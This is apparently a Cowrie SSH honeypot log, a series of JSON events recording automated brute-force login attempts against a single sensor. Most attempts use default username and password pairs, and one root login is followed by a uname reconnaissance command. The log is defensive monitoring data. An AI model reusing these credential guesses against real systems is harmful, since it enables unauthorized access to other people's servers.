{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":32970,"dst_ip":"159.203.135.109","dst_port":22,"session":"a32ab4258c31","protocol":"ssh","message":"New connection: 2.57.122.210:32970 (159.203.135.109:22) [session: a32ab4258c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:58.970380Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:58.974948Z","src_ip":"2.57.122.210","session":"a32ab4258c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:59.074865Z","src_ip":"2.57.122.210","session":"a32ab4258c31","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"solana","message":"login attempt [root/solana] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:59.380410Z","src_ip":"2.57.122.210","session":"a32ab4258c31","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:59.738171Z","src_ip":"2.57.122.210","session":"a32ab4258c31","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:59.740503Z","src_ip":"2.57.122.210","session":"a32ab4258c31","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:59.842042Z","src_ip":"2.57.122.210","session":"a32ab4258c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:59.846549Z","src_ip":"2.57.122.210","session":"a32ab4258c31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:18:59.929521Z","src_ip":"135.237.126.127","session":"83e186dc8fed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":35688,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3cc7ebd3e58","protocol":"ssh","message":"New connection: 2.57.122.210:35688 (159.203.135.109:22) [session: d3cc7ebd3e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:21:11.425834Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:21:11.430311Z","src_ip":"2.57.122.210","session":"d3cc7ebd3e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:21:11.529348Z","src_ip":"2.57.122.210","session":"d3cc7ebd3e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:21:11.827512Z","src_ip":"2.57.122.210","session":"d3cc7ebd3e58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:21:12.928415Z","src_ip":"2.57.122.210","session":"d3cc7ebd3e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":38410,"dst_ip":"159.203.135.109","dst_port":22,"session":"50081b2bca31","protocol":"ssh","message":"New connection: 2.57.122.210:38410 (159.203.135.109:22) [session: 50081b2bca31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:25.364043Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:25.368063Z","src_ip":"2.57.122.210","session":"50081b2bca31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:25.472062Z","src_ip":"2.57.122.210","session":"50081b2bca31","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"raydium","password":"raydium","message":"login attempt [raydium/raydium] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:25.824943Z","src_ip":"2.57.122.210","session":"50081b2bca31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:26.931280Z","src_ip":"2.57.122.210","session":"50081b2bca31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":44176,"dst_ip":"159.203.135.109","dst_port":22,"session":"569681262801","protocol":"ssh","message":"New connection: 60.199.224.2:44176 (159.203.135.109:22) [session: 569681262801]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:32.486722Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:32.491704Z","src_ip":"60.199.224.2","session":"569681262801","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:32.693606Z","src_ip":"60.199.224.2","session":"569681262801","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rootadmin","password":"Rootadmin123","message":"login attempt [rootadmin/Rootadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:33.503720Z","src_ip":"60.199.224.2","session":"569681262801","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:34.711130Z","src_ip":"60.199.224.2","session":"569681262801","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.85.163.94","src_port":47034,"dst_ip":"159.203.135.109","dst_port":22,"session":"218e52f6bcbc","protocol":"ssh","message":"New connection: 34.85.163.94:47034 (159.203.135.109:22) [session: 218e52f6bcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:41.311276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:41.315424Z","src_ip":"34.85.163.94","session":"218e52f6bcbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:41.326741Z","src_ip":"34.85.163.94","session":"218e52f6bcbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amit","password":"123","message":"login attempt [amit/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:41.573376Z","src_ip":"34.85.163.94","session":"218e52f6bcbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:42.587106Z","src_ip":"34.85.163.94","session":"218e52f6bcbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":26280,"dst_ip":"159.203.135.109","dst_port":22,"session":"151f0c14556b","protocol":"ssh","message":"New connection: 213.209.159.158:26280 (159.203.135.109:22) [session: 151f0c14556b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:45.731563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:48.290013Z","src_ip":"213.209.159.158","session":"151f0c14556b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:48.293766Z","src_ip":"213.209.159.158","session":"151f0c14556b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bananapi","password":"bananapi","message":"login attempt [bananapi/bananapi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:23:57.897433Z","src_ip":"213.209.159.158","session":"151f0c14556b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.8","message":"Connection lost after 15.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:01.528421Z","src_ip":"213.209.159.158","session":"151f0c14556b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":52008,"dst_ip":"159.203.135.109","dst_port":22,"session":"5d5aae2db5a1","protocol":"ssh","message":"New connection: 213.209.159.158:52008 (159.203.135.109:22) [session: 5d5aae2db5a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:01.612566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:03.894798Z","src_ip":"213.209.159.158","session":"5d5aae2db5a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:03.898155Z","src_ip":"213.209.159.158","session":"5d5aae2db5a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ando","password":"ando","message":"login attempt [ando/ando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:13.479011Z","src_ip":"213.209.159.158","session":"5d5aae2db5a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.4","message":"Connection lost after 15.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:17.065629Z","src_ip":"213.209.159.158","session":"5d5aae2db5a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":49826,"dst_ip":"159.203.135.109","dst_port":22,"session":"fbcdeb30e35b","protocol":"ssh","message":"New connection: 213.209.159.158:49826 (159.203.135.109:22) [session: fbcdeb30e35b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:17.145557Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:19.316717Z","src_ip":"213.209.159.158","session":"fbcdeb30e35b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:19.320097Z","src_ip":"213.209.159.158","session":"fbcdeb30e35b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arie","password":"arie","message":"login attempt [arie/arie] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:29.420429Z","src_ip":"213.209.159.158","session":"fbcdeb30e35b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"15.6","message":"Connection lost after 15.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:32.706125Z","src_ip":"213.209.159.158","session":"fbcdeb30e35b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":18648,"dst_ip":"159.203.135.109","dst_port":22,"session":"7612ba4e1221","protocol":"ssh","message":"New connection: 213.209.159.158:18648 (159.203.135.109:22) [session: 7612ba4e1221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:24:32.784952Z"}
